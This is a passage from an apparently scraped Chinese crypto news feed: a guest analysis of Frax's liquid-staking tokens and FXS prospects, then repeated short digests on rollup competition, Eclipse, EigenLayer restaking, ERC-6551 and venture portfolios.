Frax 建立护城河，并将自己确立为 Curve 上的中央流动性中心。 Frax 使用双代币模型 frxETH 和 sfrxETH 来提供独特的 LSD 产品。frxETH 充当与 ETH 挂钩的稳定币，不赚取任何收益，而 sfrxETH 从质押中获得所有收益。 卓越的代币模型：与其他 LSD 协议相比，Frax 采用的双代币模型可确保 sfrxETH 获得更高的质押收益。这是因为 frxETH 持有者放弃了他们的抵押收益，而不是部署到 Curve 流动性池中以获得奖励。Curve LP 在过去 3 个月的年利率为 7-10%，而 sfrxETH 的年利率为 6-8%。根据当前的 frxETH 供应量，1 sfrxETH 可获得相当于 1.974 ETH 的质押 APR，这就是将 ETH 与 FraETH质押可提供更高收益的原因。在短短四个月内，该系统帮助 Frax 跻身 LSD 排行榜前列，并保持着每 30 天 15-22%的增长率。Frax 之所以能够可持续地执行这一战略，是因为其持有的 Curve 和 Convex 资产用于将激励直接指向 frxETH-ETH 池。最后，运营 LSD 的 Frax 费用为 10%，8% 给 veFXS 持有者，2% 给保险基金。 frxETH 铸币厂：frxETH 保留一定比例的ETH 兑换成 frxETH（Frax 持有 frxETH 总量的 17.617%）。这些资金被添加到 Curve 流动性池中以增加流动性深度。此外，Frax 从它贿赂和播种流动性的池中获得奖励。它是类似于曲线和流动性 AMO 的飞轮。 Frax 每月使用 54.95 万美元来激励 Curve 流动资金池，同时发放 75 万美元的奖励，其中包括 38.23 万美元的 FXS。虽然 Rocketpool 的原生代币发行效率稍高，但这是由于 Aura 的引导阶段。Frax 将很快开始使用Aura 贿赂，减少 FXS 排放，因为目前对 Aura 的贿赂会产生更高的回报。因此，随着 Balancer 上流动性的增加（减少 FXS 的抛售压力），Frax 可以减少对 Votium 的贿赂。 Frax 的治理代币 FXS 使用 Curve 的 ve 代币锁定模型，称为 veFXS。目前，41.22%的供应量被锁定。与 Curve 一样，FXS 仪表也可以被贿赂。然而，目前的贿赂数额可以忽略不计。veFXS 持有者有权获得 100% 的 AMO 收入和 frxETH 收入（此时未分配）。veFXS 持有人的当前收益率为 1.83% APR。一旦 Frax 开始分配 frxETH 费用，这应该会急剧增加 veFXS 的 APR。 对其他产品的吸引力低：与直接竞争对手（Aave 和 Curve）相比，Fraxswap 和 Fraxlend 的 TVL 可以忽略不计。然而，这是可以理解的，因为这些产品主要是为了满足 Frax 作为稳定币协议的特定需求而构建的。目前，sfrxETH 可以作为抵押品借入 FRAX 并建立质押收益率杠杆。这使得 Frax 可以获得贷款费用收入，不像 Lido 将其外包给 AAVE。随着 Frax 的持续增长，Fraxswap 和 Fraxlend 将成为关键的基础设施。这些产品将提供给更多面向公众的用户，与 Curve 和 Uniswap 相比，FRAX 在 Fraxswap 上的流动性可能更深。   潜在催化剂 Ethereum Shanghai 升级将导致更多的 ETH 被 Frax 抵押，并导致协议的费用收入更高。 Lido 的 ETH 质押优势威胁到以太坊的安全生态系统，并导致用户涌向其他 LSD 协议。 Frax 的核心任务是构建稳定币，并将很快推出 frxBTC。 Frax 计划用 frxETH 取代 WETH 作为 LP 的主要 ETH 配对。 当 Frax 开始向 veFXS 持有者分配 8% 的 sfrxETH 费用时，它将显着提高收益率。 上表是目前排名前 4 的 LSD 协议的市盈率。Frax 由于其高 FDV 而表现最差。但是，应该注意的是，Frax 不仅提供 LSD 服务，而且还拥有其他产品，稳定币发行量为 $1.51B。Frax 是唯一一个与原生代币具有收益分享模型的协议，其中 veFXS 持有者有权获得 8% 的抵押收益。随着 frxETH 在短短 4 个月内获得 1.62% 的市场份额的惊人增长来看，很明显，只要 frxETH 的收益率高于其竞争对手，它就会继续增长。 让我们看一下未来 2 年 LSD 协议的预测。 突出显示的 frxETH 市盈率是 frxETH 可能实现的保守估计。在 2023 年底和 4% 的市场份额下，Frax 的 P/S 比率是当前 P/S 比率的 1/4，该值更接近其竞争对手。RocketPool 由于其高市场份额和费用而拥有最好的 P/S，但随着分布式验证器技术 (DVT) 的加入，去中心化质押的 Rocketpool 模型似乎可能会过时。考虑到潜在的催化剂，我相信随着越来越多的产品使用 frxETH 构建，Frax 甚至可能会超过 2024 年和 2025 年的保守估计。 LSD 协议在 1 月份受到了相当多的关注，但由于 AI 和 ZK 的叙述迅速流行，叙述被缩短了。由于我们所处的 PvP 市场环境，LSD 协议被丢弃用于下一个在 Crypto Twitter 上流传的叙述。LDO、FXS 和 RPL 在此期间表现不佳。因此，这可能是在 LSD 叙事全面展开之前积累 FXS 的好机会。 随着上海升级的临近，所有的目光都将集中在 ETH 及其所有 LSD 协议上，作为该活动的直接测试版。目前，由于质押的 ETH 存在锁定和挂钩偏差，许多用户并未质押 ETH。只有 15% 的 ETH 被质押，而其他 L1 的质押量超过 30%。由于 Lido 占据了约 30% 的抵押 ETH 供应量，这将构成许多以太坊观察者标记的潜在风险。因此，虽然 frxETH 是收益最高的 LSD，但对于许多在上海升级之后转储的人来说，它可能是一个有吸引力的选择。frxETH-ETH LP 将能够在升级后立即处理任何流出，并且应该随着未来的流入而扩展（frxETH Minter）。这反过来又会通过质押和 LPing 为 Frax 产生更多费用。 Frax 是 ETH 和 BTC 的主要稳定币发行人，这是它为什么会跑赢 ETH 的最大看涨因素。为了取代 WETH，Frax 必须与 frxETH 创建交易对，并激励协议与 frxETH 配对。Frax 拥有资产 (CVX) 和强大的 Frax 稳定币储备，他们可以依靠它们。使用 FRAXBP 作为约 7 亿美元的 TVL 或 Frax 流动性 AMO 可以根据协议抵押率铸造 Frax 以创建飞轮，如下所示： 一旦 frxETH 与代币配对，上述飞轮就会发挥作用，从而对 Frax 生态系统产生净积极影响。 最重要的是，Frax 将其他 LSD 协议视为合作者，并宣布了 Curve 上其他 LSD 的 WETHR 计划。对于 frxBTC，没有任何信息，但对 Frax 的可能影响是对 FRAX 或 FRAXBP 的需求增加以及可能将其集成到 Frax 的飞轮中。 更换 WETH 和 WBTC 是一项极其艰巨的工作，但 Frax 团队始终如一，从他们的全套产品中可以看出。押注 FXS 相当于押注整个 DeFi 生态系统（FRAX、frxETH、Fraxswap、Fraxlend、Fraxferry (Bridge)、FPI）。所有这些产品和原语都是 Frax 生态系统的一部分，将有助于将其立足点扩展到其他网络。 总而言之，FXS 能够跑赢 ETH 的主要因素是来自上海升级的关注和更广泛的 LSD 叙述。随着 frxETH 积累更多的市场份额，Frax 将拥有健康的收入来源，巩固 FXS 作为创收代币的地位。 免责声明：这是一篇客座文章，不代表 Flywheel DeFi 的观点或意见，不是财务或税务建议。本文纯属教育性质，并非投资建议或买卖任何资产或做出任何财务决定的诱导。这篇文章不是税务建议。与您的会计师交谈。做你自己的研究。  ( 6 min )
    Celo基金会与谷歌云合作支持Web3初创公司
    PANews 4月5日消息，Celo基金会已与谷歌云合作，以支持 Celo区块链生态系统项目，并推动谷歌云服务的早期采用。根据公告，谷歌云团队将为Celo基金会的 Founders in Residence 计划提供指导，并参与虚拟 Celo Camp 加速器计划，该计划支持可持续发展的Web3初创公司。此外，两个组织将共同举办以 Web3可持续性和创新为重点的研讨会和活动。  ( 1 min )
    Celo基金会与谷歌云合作支持Web3初创公司
    PANews 4月5日消息，Celo基金会已与谷歌云合作，以支持 Celo区块链生态系统项目，并推动谷歌云服务的早期采用。根据公告，谷歌云团队将为Celo基金会的 Founders in Residence 计划提供指导，并参与虚拟 Celo Camp 加速器计划，该计划支持可持续发展的Web3初创公司。此外，两个组织将共同举办以 Web3可持续性和创新为重点的研讨会和活动。  ( 1 min )
    从技术与生态视角出发，简要分析Op Rollup与Zk Rollup未来竞争格局
    在 Optimistic Rollup 起势之后，Zk Rollup 正在迎来属于它的春天。 从空投猎人行为的角度来看，此前 Layer 2空投的丰厚回报正在吸引该群体广泛地进入 Zk Rollup 生态，并参与生态协议。 而从叙事热点的角度来看，Optimism Rollup 空投的发布意味着短期内其叙事的熄火，市场将会关注更新的热点——也就是在此契机下推出的Zk系新产品。 不论如何，整体加密市场对于 ZKP 技术和 Layer2 趋势是乐观的。 而采用 ZKP 技术的 Rollup 相较 Optimism Rollup 的优势在于： 不过，由于 EVM 不支持 ZK 电路，Zk Rollup 的大规模采用看起来是艰难的。因此，为了降低 Zk Rollup 的开发者准入门槛，zkEVM 成为了 Zk Rollup 赛道的显学。zkEVM 的内在逻辑是，Zk Rollup 解决方案为开发者提供一个具备EVM等效性的部署环境，然后将代码转换到兼容 ZK 电路的虚拟机环境，以实现 ZKP 技术所支持的有效性证明。 然而，市场在迎来 ZK 浪潮后，Zk Rollup 们也将迎来其新的挑战： 在将交易打包发送给 Layer1 时，本质上是一批交易者进行众筹，以此将费用降低。当交易者数量多时，平摊的费用自然不会带给 Polygon 太大的压力。 但是，当交易者数量少时，费用无法平摊，Polygon 便需要补贴。这意味着，如果 Polygon zkEVM 没有足够的用户，便需要一直补贴下来，为官方带来巨大的经济支出压力。 在大量流动性涌入后，Zksync 得到了大量的用户。在此压力之下，zkSync Era 主网出现宕机情况，暂停出块的事件持续了 4 个小时左右。 据团队的事后分析，原因是：区块队列的数据库出现故障，导致区块生产停止。 为了解决之后再次出现这类情况，Zksync 为其数据库监控代理分配了另一层身份，它可以在数据库出现问题时，帮助其继续进行工作。 其实 Polygon zkEVM 和 Zksync Era 遇到的问题本质都是相同的，它们都在面临着用户和区块排序的问题。 Encrypted mempools 或许一个比较好的 MEV 应用方向——通过 ZKP 技术来加密和解密用户交易，且规避了中心化机构的审查。Encrypted mempools 最终保证的是排序的公平执行。 与此同时，我们也不能忽略 Optimism 极强的生命力。 Optimism 推出了 OP Stack——一个区块链模块化组件，允许开发人员在其基础上构建各种高度可扩展、高度互操作的区块链。目前，Coinbase 已经推出了基于 OP Stack 构建的 Layer2。以及，Optimism 全新升级 Bedrock 的投票将于 4 月 5 日结束。 在 Bedrock 之后，Optimism 将迎来质的飞跃： Arbiturm 虽然现在身陷舆论的风波中，但造成其当下局面的本质原因还是其未在前期工作中进行明确说明。即使如此，我们也无法忽略 Arbiturm 本身生态所拥有的品牌力和影响力。 目前，Arbitrum 生态拥有超过 262 种协议，其中一些 DeFi 最具创新性的项目建立在该生态上。据 TokenTerminal 数据显示，其 30 天平均每日活跃用户为 16.4 万人。Arbitrum 在 2023 年的展望中提到，今年 Arbitrum 将围绕降低费用提升 TPS 和验证者/排序器/DAO 的去中心化来开展工作。 在市场端，Arbiturm 将重启奥德赛活动，并致力于推动 Nova 链在社交应用和游戏应用层面的采用。 总体而言，Opitimism Rollup 和 Zk Rollup 在产品架构上的竞争点在于 EVM 的等效性、速度和成本，目前来看，Opitimism Rollup 在其中占据着明显的优势。 那么，也让我们不由生出疑问，Zk Rollup 在今年的密集发声，是否将有机会挑战 Optimism Rollup 的市场份额呢？ 答案是肯定的。 不过，就像 Steven Goldfeder 所说：“虽然目前很多团队都在稳步推进 zkEVM，但其远没有到‘黄金时期’，任何推动这种叙事的团队都在损害社区。” 在 zkEVM 还未达到黄金时期时，盲目推动 Zk Rollup 的采用，是对ZK叙事的一种消耗。 我们在当下并无法通过技术的优劣来预测未来某个项目的准确发展。各个 Rollup 项目正在通过其对于加密技术和加密市场的独有理解来推动自身产品在 Layer2 竞争中的市场份额，我们在上文中也提到，由于每个项目所处位置不同，其产品策略和市场策略也将产生差异。但不论如何，可以确定的是，以太坊将会是最终赢家。  ( 3 min )
    从技术与生态视角出发，简要分析Op Rollup与Zk Rollup未来竞争格局
    在 Optimistic Rollup 起势之后，Zk Rollup 正在迎来属于它的春天。 从空投猎人行为的角度来看，此前 Layer 2空投的丰厚回报正在吸引该群体广泛地进入 Zk Rollup 生态，并参与生态协议。 而从叙事热点的角度来看，Optimism Rollup 空投的发布意味着短期内其叙事的熄火，市场将会关注更新的热点——也就是在此契机下推出的Zk系新产品。 不论如何，整体加密市场对于 ZKP 技术和 Layer2 趋势是乐观的。 而采用 ZKP 技术的 Rollup 相较 Optimism Rollup 的优势在于： 不过，由于 EVM 不支持 ZK 电路，Zk Rollup 的大规模采用看起来是艰难的。因此，为了降低 Zk Rollup 的开发者准入门槛，zkEVM 成为了 Zk Rollup 赛道的显学。zkEVM 的内在逻辑是，Zk Rollup 解决方案为开发者提供一个具备EVM等效性的部署环境，然后将代码转换到兼容 ZK 电路的虚拟机环境，以实现 ZKP 技术所支持的有效性证明。 然而，市场在迎来 ZK 浪潮后，Zk Rollup 们也将迎来其新的挑战： 在将交易打包发送给 Layer1 时，本质上是一批交易者进行众筹，以此将费用降低。当交易者数量多时，平摊的费用自然不会带给 Polygon 太大的压力。 但是，当交易者数量少时，费用无法平摊，Polygon 便需要补贴。这意味着，如果 Polygon zkEVM 没有足够的用户，便需要一直补贴下来，为官方带来巨大的经济支出压力。 在大量流动性涌入后，Zksync 得到了大量的用户。在此压力之下，zkSync Era 主网出现宕机情况，暂停出块的事件持续了 4 个小时左右。 据团队的事后分析，原因是：区块队列的数据库出现故障，导致区块生产停止。 为了解决之后再次出现这类情况，Zksync 为其数据库监控代理分配了另一层身份，它可以在数据库出现问题时，帮助其继续进行工作。 其实 Polygon zkEVM 和 Zksync Era 遇到的问题本质都是相同的，它们都在面临着用户和区块排序的问题。 Encrypted mempools 或许一个比较好的 MEV 应用方向——通过 ZKP 技术来加密和解密用户交易，且规避了中心化机构的审查。Encrypted mempools 最终保证的是排序的公平执行。 与此同时，我们也不能忽略 Optimism 极强的生命力。 Optimism 推出了 OP Stack——一个区块链模块化组件，允许开发人员在其基础上构建各种高度可扩展、高度互操作的区块链。目前，Coinbase 已经推出了基于 OP Stack 构建的 Layer2。以及，Optimism 全新升级 Bedrock 的投票将于 4 月 5 日结束。 在 Bedrock 之后，Optimism 将迎来质的飞跃： Arbiturm 虽然现在身陷舆论的风波中，但造成其当下局面的本质原因还是其未在前期工作中进行明确说明。即使如此，我们也无法忽略 Arbiturm 本身生态所拥有的品牌力和影响力。 目前，Arbitrum 生态拥有超过 262 种协议，其中一些 DeFi 最具创新性的项目建立在该生态上。据 TokenTerminal 数据显示，其 30 天平均每日活跃用户为 16.4 万人。Arbitrum 在 2023 年的展望中提到，今年 Arbitrum 将围绕降低费用提升 TPS 和验证者/排序器/DAO 的去中心化来开展工作。 在市场端，Arbiturm 将重启奥德赛活动，并致力于推动 Nova 链在社交应用和游戏应用层面的采用。 总体而言，Opitimism Rollup 和 Zk Rollup 在产品架构上的竞争点在于 EVM 的等效性、速度和成本，目前来看，Opitimism Rollup 在其中占据着明显的优势。 那么，也让我们不由生出疑问，Zk Rollup 在今年的密集发声，是否将有机会挑战 Optimism Rollup 的市场份额呢？ 答案是肯定的。 不过，就像 Steven Goldfeder 所说：“虽然目前很多团队都在稳步推进 zkEVM，但其远没有到‘黄金时期’，任何推动这种叙事的团队都在损害社区。” 在 zkEVM 还未达到黄金时期时，盲目推动 Zk Rollup 的采用，是对ZK叙事的一种消耗。 我们在当下并无法通过技术的优劣来预测未来某个项目的准确发展。各个 Rollup 项目正在通过其对于加密技术和加密市场的独有理解来推动自身产品在 Layer2 竞争中的市场份额，我们在上文中也提到，由于每个项目所处位置不同，其产品策略和市场策略也将产生差异。但不论如何，可以确定的是，以太坊将会是最终赢家。  ( 3 min )

  • Open

    加密显学 Zk Rollup 未来将会与 Op Rollup 形成怎样的竞争格局？
    Chainfeeds 导读： 在 Optimistic Rollup 起势之后，Zk Rollup 正在迎来属于它的春天。Zksync Era 主网的 TVL 已超过 1 亿美元。加密货币 KOL 雨中狂睡将 Zk Rollup 和 Op Rollup 进行了对比，认为在 zkEVM 还未达到黄金时期时，盲目推动 Zk Rollup 的采用，是对 ZK 叙事的一种消耗。 文章来源： https://www.techflowpost.com/article/detail_11653.html 文章作者： 雨中狂睡 观点： 雨中狂睡：采用 ZKP 技术的 Rollup 相较 Optimism Rollup 的优势在于：1）更快的速度和更高的安全性：采用欺诈证明的 Optimism Rollup 需要信任假设，并依靠诚实节点来验证交易的可靠性；而 Zk Rollup 只需要提供有效性证明来验证交易的可靠性。2）更高的隐私性：凭借着 ZKP 技术，Zk Rollup 只需要确保链下的完整性，便可使证明者能够证明交易批次的有效性，而无需透露交易的具体细节，也无需要求验证者在接受新状态之前检查所有交易。 内容来源 雨中狂睡：总体而言，Opitimism Rollup 和 Zk Rollup 在产品架构上的竞争点在于 EVM 的等效性、速度和成本，目前来看，Opitimism Rollup 在其中占据着明显的优势。而 ZK 技术系的人员则认为，Zk Rollup 能够提供同等的安全性和更高的资本效率（无需等待挑战期），且 Opitimism Rollup 受限于欺诈证明，必须在以太坊上执行，而 Zk Rollup 则没有这个限制。在 zkEVM 还未达到黄金时期时，盲目推动 Zk Rollup 的采用，是对 ZK 叙事的一种消耗。 内容来源  ( 2 min )
    加密显学 Zk Rollup 未来将会与 Op Rollup 形成怎样的竞争格局？
    Chainfeeds 导读： 在 Optimistic Rollup 起势之后，Zk Rollup 正在迎来属于它的春天。Zksync Era 主网的 TVL 已超过 1 亿美元。加密货币 KOL 雨中狂睡将 Zk Rollup 和 Op Rollup 进行了对比，认为在 zkEVM 还未达到黄金时期时，盲目推动 Zk Rollup 的采用，是对 ZK 叙事的一种消耗。 文章来源： https://www.techflowpost.com/article/detail_11653.html 文章作者： 雨中狂睡 观点： 雨中狂睡：采用 ZKP 技术的 Rollup 相较 Optimism Rollup 的优势在于：1）更快的速度和更高的安全性：采用欺诈证明的 Optimism Rollup 需要信任假设，并依靠诚实节点来验证交易的可靠性；而 Zk Rollup 只需要提供有效性证明来验证交易的可靠性。2）更高的隐私性：凭借着 ZKP 技术，Zk Rollup 只需要确保链下的完整性，便可使证明者能够证明交易批次的有效性，而无需透露交易的具体细节，也无需要求验证者在接受新状态之前检查所有交易。 内容来源 雨中狂睡：总体而言，Opitimism Rollup 和 Zk Rollup 在产品架构上的竞争点在于 EVM 的等效性、速度和成本，目前来看，Opitimism Rollup 在其中占据着明显的优势。而 ZK 技术系的人员则认为，Zk Rollup 能够提供同等的安全性和更高的资本效率（无需等待挑战期），且 Opitimism Rollup 受限于欺诈证明，必须在以太坊上执行，而 Zk Rollup 则没有这个限制。在 zkEVM 还未达到黄金时期时，盲目推动 Zk Rollup 的采用，是对 ZK 叙事的一种消耗。 内容来源  ( 2 min )
    一文读懂 Eclipse：可定制的 Rollup 解决方案
    Chainfeeds 导读： Eclipse 是一个 Rollup 解决方案，提供了可定制的特性，例如执行环境和数据可用性层。通过 Eclipse 创建的 Rollups 共享一个单一的 Eclipse 结算层，该结算层促进了多样化的生态系统。加密货币 KOL 100y 详细介绍了这个可以根据自己的喜好部署 Rollup 网络的项目 Eclipse。本文由 Foresight News 编译 文章来源： https://foresightnews.pro/article/detail/29907 文章作者： 100y.eth💜 | a41 观点： 100y.eth💜 | a41：EVM 串行处理事务，而 SVM 和 MoveVM 可以并行处理事务以增强可扩展性。Eclipse 支持 EVM 和 SVM，并计划在未来支持更多虚拟机，包括 MoveVM。根据选择的虚拟机，兼容开发工具（如 EVM 的 Remix 和 Truffle，SVM 的 Solana CLI 和 Seahorse Lang）、钱包、浏览器都提供原生支持，方便用户使用。 内容来源 100y.eth💜 | a41：通过 Eclipse 创建的 Rollup 网络共享「Eclipse 结算层」作为统一的结算层。Eclipse 结算层在基于 Celestia 的主权 Rollup 上运行，仅用于验证在其上运行的 Rollup 网络的有效性并调解资金桥。 内容来源 100y.eth💜 | a41：所有用 Eclipse 创建的 Rollup 网络共享一个通用的「Eclipse 结算层」进行结算，但它们可以选择各自的数据可用性层。与 Optimism 和 Arbitrum 等仅限于使用以太坊网络的 Rollup 不同，Eclipse 允许使用不同的网络，如 Celestia、Polygon Avail、Solana 和以太坊作为数据可用性层。 内容来源  ( 18 min )
    一文读懂 Eclipse：可定制的 Rollup 解决方案
    Chainfeeds 导读： Eclipse 是一个 Rollup 解决方案，提供了可定制的特性，例如执行环境和数据可用性层。通过 Eclipse 创建的 Rollups 共享一个单一的 Eclipse 结算层，该结算层促进了多样化的生态系统。加密货币 KOL 100y 详细介绍了这个可以根据自己的喜好部署 Rollup 网络的项目 Eclipse。本文由 Foresight News 编译 文章来源： https://foresightnews.pro/article/detail/29907 文章作者： 100y.eth💜 | a41 观点： 100y.eth💜 | a41：EVM 串行处理事务，而 SVM 和 MoveVM 可以并行处理事务以增强可扩展性。Eclipse 支持 EVM 和 SVM，并计划在未来支持更多虚拟机，包括 MoveVM。根据选择的虚拟机，兼容开发工具（如 EVM 的 Remix 和 Truffle，SVM 的 Solana CLI 和 Seahorse Lang）、钱包、浏览器都提供原生支持，方便用户使用。 内容来源 100y.eth💜 | a41：通过 Eclipse 创建的 Rollup 网络共享「Eclipse 结算层」作为统一的结算层。Eclipse 结算层在基于 Celestia 的主权 Rollup 上运行，仅用于验证在其上运行的 Rollup 网络的有效性并调解资金桥。 内容来源 100y.eth💜 | a41：所有用 Eclipse 创建的 Rollup 网络共享一个通用的「Eclipse 结算层」进行结算，但它们可以选择各自的数据可用性层。与 Optimism 和 Arbitrum 等仅限于使用以太坊网络的 Rollup 不同，Eclipse 允许使用不同的网络，如 Celestia、Polygon Avail、Solana 和以太坊作为数据可用性层。 内容来源  ( 18 min )
    【英文长推】Lookonchain：低杠杆和小规模助力提高多空胜率
    Chainfeeds 导读： 如何提高多空胜率？Lookonchain 追踪数据发现两个 SmartMoney 非常擅长在 GMX 上做多和做空，他们共同特点就是都没有使用高杠杆。 文章来源： https://twitter.com/lookonchain/status/1643161126191132672 文章作者： Lookonchain 观点： Lookonchain：1）SmartMoney 1：总交易数：9；赢的交易数：9；胜率：100%；损益：+654,410 美元。在 22 小时前关闭了他在 ETH 和 BTC 中的多头头寸，赚了大约 24 万美元。2）SmartMoney 2：总交易数：20；赢的交易数：19；胜率：95%，损益：+177,652 美元。目前做多 BTC ，入场价为 27,740 美元。【原文为英文】 内容来源 Lookonchain：总结：这两个 SmartMoney 没有使用高杠杆，最大杠杆是 10 倍。以低杠杆和小规模开始交易，并逐渐增加杠杆和规模。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Lookonchain：低杠杆和小规模助力提高多空胜率
    Chainfeeds 导读： 如何提高多空胜率？Lookonchain 追踪数据发现两个 SmartMoney 非常擅长在 GMX 上做多和做空，他们共同特点就是都没有使用高杠杆。 文章来源： https://twitter.com/lookonchain/status/1643161126191132672 文章作者： Lookonchain 观点： Lookonchain：1）SmartMoney 1：总交易数：9；赢的交易数：9；胜率：100%；损益：+654,410 美元。在 22 小时前关闭了他在 ETH 和 BTC 中的多头头寸，赚了大约 24 万美元。2）SmartMoney 2：总交易数：20；赢的交易数：19；胜率：95%，损益：+177,652 美元。目前做多 BTC ，入场价为 27,740 美元。【原文为英文】 内容来源 Lookonchain：总结：这两个 SmartMoney 没有使用高杠杆，最大杠杆是 10 倍。以低杠杆和小规模开始交易，并逐渐增加杠杆和规模。【原文为英文】 内容来源  ( 2 min )
    Dragonfly 投资版图大盘点：150 多个项目，遍布 DeFi、基础设施与 NFT
    Chainfeeds 导读： Dragonfly 是一家全球顶级投资机构，成立于 2018 年。作为头部机构，Dragonfly 的投资组合已经成为加密市场的一个风向标。截至目前，Dragonfly 已投资超过 150 个项目。ForesightNews 整理了其目前为止投资的所有项目。 文章来源： https://foresightnews.pro/article/h5Detail/29912 文章作者： Foresight News 观点： Foresight News：Dragonfly 投资组合超过 150 个，覆盖 DeFi、CeFi、L1 & L2、NFT & 元宇宙 & 游戏、基础设施、加密基金等多个赛道，遍及以太坊、Avalanche、Polygon、Aptos、Solana、Cosmos、NEAR 等公链生态，在 1inch、dYdX、Compound、Lido、MakerDAO、ConsenSys、Flashbots、RSS3、Animoca Brands、Dune Analytics、Galxe、OneKey、StarkWare、Matter Labs 等明星头部项目的融资中均能看到 Dragonfly 身影。 内容来源 Foresight News：2021 年下半年至 2022 年，随着 Web3 概念的全面扩展，Dragonfly 的投资节奏明显加快。据区块链日报数据显示，Dragonfly 在 2019 至 2021 年间总共投资近 80 个项目，并于 2021 年初步投资元宇宙、Web3 创作者经济、NFT、DAO 等领域。2022 年 Dragonfly 全年至少投资 53 个项目，除基础设施外，略有涉及 NEAR、Solana 生态，重点关注 NFT、元宇宙、链游、Web3 社交、创作者经济、DAO 等项目。2023 年至今 3 个多月，Dragonfly 已投资 10 个项目，聚焦于 DeFi、Web3 创作者经济、新公链、新型交易所、AI 等。 内容来源  ( 40 min )
    Dragonfly 投资版图大盘点：150 多个项目，遍布 DeFi、基础设施与 NFT
    Chainfeeds 导读： Dragonfly 是一家全球顶级投资机构，成立于 2018 年。作为头部机构，Dragonfly 的投资组合已经成为加密市场的一个风向标。截至目前，Dragonfly 已投资超过 150 个项目。ForesightNews 整理了其目前为止投资的所有项目。 文章来源： https://foresightnews.pro/article/h5Detail/29912 文章作者： Foresight News 观点： Foresight News：Dragonfly 投资组合超过 150 个，覆盖 DeFi、CeFi、L1 & L2、NFT & 元宇宙 & 游戏、基础设施、加密基金等多个赛道，遍及以太坊、Avalanche、Polygon、Aptos、Solana、Cosmos、NEAR 等公链生态，在 1inch、dYdX、Compound、Lido、MakerDAO、ConsenSys、Flashbots、RSS3、Animoca Brands、Dune Analytics、Galxe、OneKey、StarkWare、Matter Labs 等明星头部项目的融资中均能看到 Dragonfly 身影。 内容来源 Foresight News：2021 年下半年至 2022 年，随着 Web3 概念的全面扩展，Dragonfly 的投资节奏明显加快。据区块链日报数据显示，Dragonfly 在 2019 至 2021 年间总共投资近 80 个项目，并于 2021 年初步投资元宇宙、Web3 创作者经济、NFT、DAO 等领域。2022 年 Dragonfly 全年至少投资 53 个项目，除基础设施外，略有涉及 NEAR、Solana 生态，重点关注 NFT、元宇宙、链游、Web3 社交、创作者经济、DAO 等项目。2023 年至今 3 个多月，Dragonfly 已投资 10 个项目，聚焦于 DeFi、Web3 创作者经济、新公链、新型交易所、AI 等。 内容来源  ( 40 min )
    【英文长推】观点：EigenLayer 使持有 ETH 更具吸引力，在 5 年内为验证者带来额外 110 亿美元的年收入
    Chainfeeds 导读： 为了维护 Web3 应用程序的安全，需要验证者每年质押 4400 亿美元，协议每年支付 400 亿美元。使用 EigenLayer 的重质押模型解决了这个问题。Finality Capital Partners 认为重质押可以在 5 年内为 ETH 验证者带来额外的 110 亿美元的年收入。 文章来源： https://twitter.com/finalitycap/status/1643344844717449216 文章作者： Finality Capital Partners 观点： Finality Capital Partners：在 Web3 中，所有 dApp 都需要去中心化，这意味着需要构建自己的验证器集，这是昂贵的。为了匹配以太坊的安全性，具有 15 个中间件服务集成的 dApp 将需要大约 4400 亿美元的质押资本和每年 400 亿美元左右的安全费用。【原文为英文】 内容来源 Finality Capital Partners：EigenLayer 将他们的共享安全模型称为「重质押」—— 验证者重新质押 ETH 来保护新协议。Web3 应用程序所需的 4400 亿美元质押资金已经不再需要了。作为交换，协议向选择重新质押 ETH 的验证者支付奖励。由于 ETH 验证者现在只需提供较少的质押资金，因此他们对每个新协议所需求得年化收益率也会降低。重质押也为 ETH 持有者提供了一次有吸引力的机会 —— 获得更高收益率。从长远来看，持有 ETH 的主要原因可能是重新抵押它的机会。这代表了 ETH 价值累积的模式转变。【原文为英文】 内容来源  ( 2 min )
    【英文长推】观点：EigenLayer 使持有 ETH 更具吸引力，在 5 年内为验证者带来额外 110 亿美元的年收入
    Chainfeeds 导读： 为了维护 Web3 应用程序的安全，需要验证者每年质押 4400 亿美元，协议每年支付 400 亿美元。使用 EigenLayer 的重质押模型解决了这个问题。Finality Capital Partners 认为重质押可以在 5 年内为 ETH 验证者带来额外的 110 亿美元的年收入。 文章来源： https://twitter.com/finalitycap/status/1643344844717449216 文章作者： Finality Capital Partners 观点： Finality Capital Partners：在 Web3 中，所有 dApp 都需要去中心化，这意味着需要构建自己的验证器集，这是昂贵的。为了匹配以太坊的安全性，具有 15 个中间件服务集成的 dApp 将需要大约 4400 亿美元的质押资本和每年 400 亿美元左右的安全费用。【原文为英文】 内容来源 Finality Capital Partners：EigenLayer 将他们的共享安全模型称为「重质押」—— 验证者重新质押 ETH 来保护新协议。Web3 应用程序所需的 4400 亿美元质押资金已经不再需要了。作为交换，协议向选择重新质押 ETH 的验证者支付奖励。由于 ETH 验证者现在只需提供较少的质押资金，因此他们对每个新协议所需求得年化收益率也会降低。重质押也为 ETH 持有者提供了一次有吸引力的机会 —— 获得更高收益率。从长远来看，持有 ETH 的主要原因可能是重新抵押它的机会。这代表了 ETH 价值累积的模式转变。【原文为英文】 内容来源  ( 2 min )
    ERC 6551 带来 NFT 与 DID 新范式
    Chainfeeds 导读： Future Primitive 团队推出了基于代币绑定账户（ERC 6551）的新技术，为每个 NFT 提供自己的账户 / 钱包地址。Futrue Primitive 和 CryptoKitties 的联合创始人 Benny Giang 对新推出的代币绑定账户（ERC 6551）进行了介绍。本文由 Biteye 编译。 文章来源： https://mp.weixin.qq.com/s/AmAtCoL9G4p0oSaWWavoiw 文章作者： Benny Giang 观点： Benny Giang：目前 NFT 只是一种静态资产，不带有交易历史、签名控制和链接的所有权。借助 ERC 6551 或代币绑定账户，我们能够在所有现有和新的 NFT 之上无缝添加新的所有权层，在链上开辟大多数项目创建者一直想添加但尚未找到简单方法的新用例：装备数字服装和物品、ERC 20 代币赚取 / 空投模型、通过参与获得的 POAPS 或徽章、将整个集合作为一个单元进行交易、NFT 作为链上身份具有在社交网络模型上分层的能力。 内容来源 Benny Giang：它的优势在于不需要对目前的 ERC 721、Wrapped 后的合约、或者是 NFT 持有者的任何行为进行重大更改。因为代币绑定账户使用的是智能合约钱包进行绑定，一旦 ERC 6551 进入主网，每个 NFT 都会自动拥有一个绑定的地址，无需任何额外的操作。 内容来源  ( 32 min )
    ERC 6551 带来 NFT 与 DID 新范式
